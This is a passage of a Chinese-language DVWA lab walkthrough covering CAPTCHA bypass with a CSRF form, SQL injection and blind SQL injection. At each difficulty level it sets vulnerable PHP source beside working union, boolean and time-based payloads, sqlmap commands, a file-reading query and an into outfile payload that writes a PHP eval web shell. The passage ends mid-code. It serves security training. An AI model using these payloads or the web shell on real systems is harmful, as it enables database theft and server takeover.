$html .= "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching $html .= "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,Medium 级别的代码在第二步验证时,参加了对参数 passed_captcha 的检查,如果参数值为 true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与 Low 级别的验证没有任何区别. **可以通过抓包,更改 step 参数,增加 passed_captcha 参数,绕过验证码.** **CSRF** 依然可以实施 CSRF 攻击,攻击页面代码如下. ``` <html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://<IP地址!!!>/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="passed_captcha" value="true"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html> ``` ### High **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); if ( $resp || ( $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) ){ // CAPTCHA was correct. Do both new passwords match? if ($pass_new == $pass_conf) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for user $html .= "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,服务器的验证逻辑是当 $resp(这里是指谷歌返回的验证结果)是 false,并且参数 recaptcha_response_field 不等于 hidd3n_valu3(或者 http 包头的 User-Agent 参数不等于 reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查. **漏洞利用** 搞清楚了验证逻辑,剩下就是伪造绕过了,由于 $resp 参数我们无法控制,所以重心放在参数 recaptcha_response_field、User-Agent 上. 第一步依旧是抓包 更改参数 recaptcha_response_field 以及 http 包头的 User-Agent 注:在最新版的 dvwa 中这里要改成 `g-recaptcha-response=hidd3n_valu3` ### Impossible **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = md5( $pass_conf ); $pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! $html .= "<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! $html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,Impossible 级别的代码增加了 Anti-CSRF token 机制防御 CSRF 攻击,利用 PDO 技术防护 sql 注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证. --- ## SQL_Injection SQL Injection,即 SQL 注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意 SQL 语句的目的.SQL 注入漏洞的危害是巨大的,常常会导致整个数据库被"脱裤",尽管如此,SQL 注入仍是现在最常见的Web漏洞之一. 按SQLMap中的分类来看,SQL注入类型有以下5种: ``` UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) Time-based blind SQL injection(基于时间延迟注入) ``` **SQL 注入常规利用思路** ``` 1. 寻找注入点,可以通过 web 扫描工具实现 2. 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息. 3. 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息) 4. 可以通过获得的用户信息,寻找后台登录. 5. 利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限. ``` **手工注入思路** 自动化的注入神器 sqlmap 固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤. ``` 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.获取数据 ``` ### Low **服务器端核心代码** ```php <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?> ``` 由代码可知,通过 REQUEST 方式接受传递的参数 id,再通过 sql 语句带入查询,对来自客户端的参数 id 没有进行任何的检查与过滤,存在明显的 SQL 注入. **漏洞利用** 1. 判断是否存在注入,注入是字符型还是数字型 输入 `1`,查询成功: 输入 `1'and '1' ='2`,查询失败,返回结果为空: 输入 `1'or '1'='1`,查询成功: 返回了多个结果,说明存在字符型注入. 注: 关于数字型,字符型,搜索型的区别可以参考如下文章:https://blog.csdn.net/change518/article/details/8116920 2. 猜解 SQL 查询语句中的字段数 输入 `1' or 1=1 order by 1 #`,查询成功: 输入 `1' or 1=1 order by 2 #`,查询成功 输入 `1' or 1=1 order by 3 #`,查询失败: 说明执行的 SQL 查询语句中只有两个字段,即这里的 First name、Surname. (这里也可以通过输入 union select 1,2,3… 来猜解字段数) 3. 确定显示的字段顺序 输入 `1' union select 1,2 #`,查询成功: 说明执行的 SQL 语句为 select First name,Surname from 表 where ID=’id’… 4. 获取当前数据库 输入 `1' union select 1,database() #`,查询成功: 利用另一种方式 `1' union select user(),database() #` 说明当前的数据库为 dvwa. union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同. 5. 获取数据库中的表 输入 `1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #`,查询成功: 说明数据库 dvwa 中一共有两个表,guestbook 与 users. 6. 获取表中的字段名 输入 `1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #`,查询成功: 说明 users 表中有8个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login. 7. 获取数据 输入 `1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #`,查询成功: 或 `1' union select null,concat_ws(char(32,58,32),user,password) from users #` 或 `1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #` 这样就得到了 users 表中所有用户的 user_id,first_name,last_name,password 的数据. 8. 猜 root 用户 输入 `1' union select 1,group_concat(user,password) from mysql.user#` 得到 root 用户信息: 9. 读文件和写入拿 webshell 使用 mysql 的读写功能需要具有一定的权限. secure_file_priv 参数用来限制 load_file,into outfile 等相关读写执行函数作用于哪个指定目录. ``` 当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制 ``` 通过命令查看 secure-file-priv 的当前值 `show global variables like '%secure%';` 由于我使用的是 PHPStudy 搭建的环境,MySQL 没有设置过 secure_file_priv 时,默认为 NULL 修改secure_file_priv为指定的目录: Windows下的配置文件:`../MySQL/my.ini` Linux下的配置文件:`/etc/mysql/my.cnf` (不同linux下的my.cnf位置路径不同,此处不一一列举) 在[mysqld]内加入 `secure_file_priv = ` 注意这里为空,表示可以导入导出到任意目录,重启 mysql 服务 - **`load_file()` 函数读取任意文件** `1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\index.php')#` - **利用 `into outfile()` 函数写入一句话拿 webshell** 不知道路径的情况下,先通过报错得出网站的绝对路径:`1' union select 'xx',2 into outfile 'xx'#` 得到路径`C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php ` 直接 `into outfile` 一句话到根目录 `1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#` 由于单引号会引起闭合而导致查询失败,注意一句话中的 cmd 不能是单引号,或者整句使用双引号 `1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#` 或者采用编码方式,如十六进制编码的方式 `1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#` **sqlmap** `sqlmap -u "http://<IP地址!!!>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=<自己的sessionID!!!>" --batch` ``` --cookie : 带 cookie 注入 --batch : 不要请求用户输入,使用默认行为 ``` ### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?> ``` 可以看到,Medium 级别的代码利用 mysql_real_escape_string 函数对特殊符号 `\x00,\n,\r,\,’,",\x1a` 进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入. **漏洞利用** 虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数. 1. 判断是否存在注入,注入是字符型还是数字型 抓包更改参数 id 为 `1' or 1=1`,报错 抓包更改参数 id 为 `1 or 1=1 #`,查询成功 说明存在数字型注入.由于是数字型注入,服务器端的 mysql_real_escape_string 函数就形同虚设了,因为数字型注入并不需要借助引号. 2. 猜解 SQL 查询语句中的字段数 抓包更改参数 id 为 `1 order by 2 #`,查询成功: 抓包更改参数 id 为 `1 order by 3 #`,报错,说明执行的SQL查询语句中只有两个字段,即这里的 First name、Surname. 3. 确定显示的字段顺序 抓包更改参数 id 为 `1 union select 1,2 #`,查询成功: 说明执行的SQL语句为 `select First name,Surname from 表 where ID=id…` 4. 获取当前数据库 抓包更改参数 id 为 `1 union select 1,database() #` 5. 获取数据库中的表 抓包更改参数 id 为 `1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #` 6. 获取表中的字段名 抓包更改参数 id 为 `1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #` ,查询失败 这是因为单引号被转义了,变成了 `\’`. 可以利用 16 进制进行绕过,抓包更改参数 id 为 `1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #` 说明 users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login. 7. 获取数据 抓包修改参数 id 为 `1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #` **sqlmap** 抓包,把数据存到 1.txt `sqlmap -r 1.txt` ``` -r 请求文件 从 HTTP 请求文件中加载 ``` ### High **服务器端核心代码** ```php <?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,与 Medium 级别的代码相比,High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,希望以此控制只输出一个结果. **漏洞利用** 虽然添加了 LIMIT 1,但是我们可以通过 `#` 将其注释掉.由于手工注入的过程与 Low 级别基本一样,直接最后一步演示获取数据. 输入 `1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #` ,查询成功: 需要特别提到的是,High 级别的查询提交页面与查询结果显示页面不是同一个,也没有执行 302 跳转,这样做的目的是为了防止一般的 sqlmap 注入,因为 sqlmap 在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入. 可以通过指定 --second-url 去进行二阶注入 `sqlmap -r /root/1.txt -p id --second-url "http://<服务器的地址>/dvw/vulnerabilities/sqli/"` ### Impossible **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,Impossible 级别的代码采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了"脱裤",Anti-CSRFtoken 机制的加入了进一步提高了安全性. --- ## SQL_Injection(Blind) SQL Injection(Blind),即 SQL 盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高.目前网络上现存的 SQL 注入漏洞大多是 SQL 盲注. **手工盲注思路** 手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答"是"或者"不是",因此你需要询问它这样的问题,例如"数据库名字的第一个字母是不是a啊?",通过这种机械的询问,最终获得你想要的数据. 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注. 下面简要介绍手工盲注的步骤(可与之前的手工注入作比较): ``` 1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据 ``` ### Low **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,Low 级别的代码对参数 id 没有做任何检查、过滤,存在明显的 SQL 注入漏洞,同时 SQL 语句查询返回的结果只有两种,`User ID exists in the database.`与`User ID is MISSING from the database.` 因此这里是 SQL 盲注漏洞. **漏洞利用** - **基于布尔的盲注** 1. 判断是否存在注入,注入是字符型还是数字型 ``` 输入 1,显示相应用户存在 输入 1' and 1=1 # ,显示存在 输入 1' and 1=2 # ,显示不存在 ``` 说明存在字符型的 SQL 盲注. 2. 猜解当前数据库名 想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符. ``` 输入 1' and length(database())=1 # ,显示不存在; 输入 1' and length(database())=2 # ,显示不存在; 输入 1' and length(database())=3 # ,显示不存在; 输入 1' and length(database())=4 # ,显示存在: ``` 说明数据库名长度为 4. 下面采用二分法猜解数据库名. ``` 输入 1' and ascii(substr(database(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97(小写字母 a 的 ascii 值); 输入 1' and ascii(substr(database(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122(小写字母 z 的 ascii 值); 输入 1' and ascii(substr(database(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109(小写字母 m 的 ascii 值); 输入 1' and ascii(substr(database(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103(小写字母 g 的 ascii 值); 输入 1' and ascii(substr(database(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100(小写字母 d 的 ascii 值); 输入 1' and ascii(substr(database(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100(小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100,即小写字母 d. ``` 重复上述步骤,就可以猜解出完整的数据库名(dvwa)了. 3. 猜解数据库中的表名 首先猜解数据库中表的数量: ``` 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在 ``` 说明数据库中共有两个表 接着挨个猜解表名: ``` 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在 … 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在 ``` 说明第一个表名长度为9. ``` 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在 ``` 说明第一个表的名字的第一个字符为小写字母g. 重复上述步骤,即可猜解出两个表名(guestbook、users). 4. 猜解表中的字段名 首先猜解表中字段的数量: ``` 1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在 … 1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在 ``` 说明 users 表有 8 个字段. 接着挨个猜解字段名: ``` 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在 … 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在 ``` 说明users表的第一个字段为7个字符长度. 采用二分法,即可猜解出所有字段名. 5. 猜解数据 同样采用二分法. 还可以使用基于时间的盲注: 1. 判断是否存在注入,注入是字符型还是数字型 输入 `1' and sleep(2) #` ,感觉到明显延迟; 输入 `1 and sleep(2) #` ,没有延迟; 说明存在字符型的基于时间的盲注. 2. 猜解当前数据库名 首先猜解数据名的长度: ``` 1' and if(length(database())=1,sleep(2),1) # 没有延迟 1' and if(length(database())=2,sleep(2),1) # 没有延迟 1' and if(length(database())=3,sleep(2),1) # 没有延迟 1' and if(length(database())=4,sleep(2),1) # 明显延迟 ``` 说明数据库名长度为4个字符. 接着采用二分法猜解数据库名: ``` 1' and if(ascii(substr(database(),1,1))>97,sleep(2),1)# 明显延迟 … 1' and if(ascii(substr(database(),1,1))<100,sleep(2),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(2),1)# 没有延迟 说明数据库名的第一个字符为小写字母d. … ``` 重复上述步骤,即可猜解出数据库名. 3. 猜解数据库中的表名 首先猜解数据库中表的数量: ``` 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(2),1)# 没有延迟 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(2),1)# 明显延迟 ``` 说明数据库中有两个表.接着挨个猜解表名: ``` 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(2),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(2),1) # 明显延迟 ``` 说明第一个表名的长度为9个字符. 采用二分法即可猜解出表名. 4. 猜解表中的字段名 首先猜解表中字段的数量: ``` 1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(2),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(2),1)# 明显延迟 ``` 说明users表中有8个字段.接着挨个猜解字段名 ``` 1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(2),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(2),1) # 明显延迟 ``` 说明users表的第一个字段长度为7个字符. 采用二分法即可猜解出各个字段名. 5. 猜解数据 同样采用二分法. **sqlmap** `sqlmap -u "http://<IP地址!!!>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=<自己的sessionID!!!>"` ### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?> ``` 可以看到,Medium 级别的代码利用 mysql_real_escape_string 函数对特殊符号 ` \x00,\n,\r,\,’,",\x1a` 进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入. **漏洞利用** 虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数. 之前已经介绍了详细的盲注流程,这里就简要演示几个. - **首先是基于布尔的盲注** 抓包改参数 id 为 `1 and length(database())=4 #` ,显示存在,说明数据库名的长度为4个字符; 抓包改参数 id 为 `1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #` ,显示存在,说明数据中的第一个表名长度为9个字符; 抓包改参数 id 为 `1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #` ,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段. - **然后是基于时间的盲注** 抓包改参数 id 为 `1 and if(length(database())=4,sleep(5),1) #` ,明显延迟,说明数据库名的长度为4个字符; 抓包改参数 id 为 `1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #` ,明显延迟,说明数据中的第一个表名长度为9个字符; 抓包改参数 id 为 `1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #` ,明显延迟,说明uers表有8个字段. **sqlmap** 抓包,把数据存到 1.txt `sqlmap -r 1.txt` ``` -r 请求文件 从 HTTP 请求文件中加载 ``` ### High **服务器端核心代码** ```php <?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,High 级别的代码利用 cookie 传递参数 id,当 SQL 查询结果为空时,会执行函数 sleep(seconds),目的是为了扰乱基于时间的盲注.同时在 SQL 查询语句中添加了 LIMIT 1,希望以此控制只输出一个结果. **漏洞利用** 虽然添加了 LIMIT 1,但是我们可以通过 # 将其注释掉.但由于服务器端执行 sleep 函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注: 抓包将 cookie 中参数 id 改为 `1' and length(database())=4 #`,显示存在,说明数据库名的长度为4个字符; 抓包将 cookie 中参数 id 改为 `1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #` ,显示存在,说明数据中的第一个表名长度为9个字符; 抓包将 cookie 中参数 id 改为 `1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #` ,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段. ### Impossible **服务器端核心代码** ```php <?php if( isset( 